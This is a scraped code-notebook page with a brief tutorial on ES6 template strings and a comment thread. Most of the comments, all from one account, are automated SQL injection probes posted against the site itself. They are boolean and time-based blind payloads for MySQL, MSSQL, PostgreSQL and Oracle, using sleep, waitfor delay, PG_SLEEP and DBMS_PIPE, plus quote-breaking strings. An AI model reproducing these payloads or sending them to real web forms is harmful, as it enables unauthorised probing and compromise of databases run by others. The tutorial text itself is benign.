ES6 Template Strings

node v0.12.18
version: 1.0.0
endpointsharetweet
In ES6 you can use template strings to more easily construct strings:
var person = { name: "Tom", age: 20 }; // Before: var string = person.name + " is " + person.name + " years old"; // Now: var string = `${person.name} is ${person.age} years old`;
Template strings also allow you to write multi-line strings:
var string = `This is<br/> a multi-line string<br/> without having to use<br/> any tricks. Pretty userful<br/> for HTML`
For much more advanced template strings, check out: https://hacks.mozilla.org/2015/05/es6-in-depth-template-strings-2/
Loading…

29 comments

  • posted 8 years ago by bigjeff
    var
  • posted 3 years ago by nobviksa333
    Var
  • posted a year ago by qasimaloudat
    مش فاهم شيء
  • posted 4 months ago by 131706dulce
    Var
  • posted 12 hours ago by xsjybldb
    1
  • posted 12 hours ago by xsjybldb
    1
  • posted 12 hours ago by xsjybldb
    -1 OR 2+915-915-1=0+0+0+1 --
  • posted 12 hours ago by xsjybldb
    -1 OR 2+447-447-1=0+0+0+1
  • posted 12 hours ago by xsjybldb
    -1' OR 2+290-290-1=0+0+0+1 --
  • posted 12 hours ago by xsjybldb
    -1' OR 2+74-74-1=0+0+0+1 or '02NS1YJ1'='
  • posted 12 hours ago by xsjybldb
    -1" OR 2+903-903-1=0+0+0+1 --
  • posted 12 hours ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted 12 hours ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 12 hours ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 12 hours ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 12 hours ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted 12 hours ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted 12 hours ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted 12 hours ago by xsjybldb
    XBtVeCq9'; waitfor delay '0:0:15' --
  • posted 12 hours ago by xsjybldb
    -5 OR 30=(SELECT 30 FROM PG_SLEEP(15))--
  • posted 12 hours ago by xsjybldb
    -5) OR 183=(SELECT 183 FROM PG_SLEEP(15))--
  • posted 12 hours ago by xsjybldb
    -1)) OR 920=(SELECT 920 FROM PG_SLEEP(15))--
  • posted 12 hours ago by xsjybldb
    JaUD78hm' OR 631=(SELECT 631 FROM PG_SLEEP(15))--
  • posted 12 hours ago by xsjybldb
    PtcDQNlS') OR 52=(SELECT 52 FROM PG_SLEEP(15))--
  • posted 12 hours ago by xsjybldb
    9CgT5Uad')) OR 782=(SELECT 782 FROM PG_SLEEP(15))--
  • posted 12 hours ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 12 hours ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 12 hours ago by xsjybldb
    1'"
  • posted 12 hours ago by xsjybldb
    @@hgmEj

sign in to comment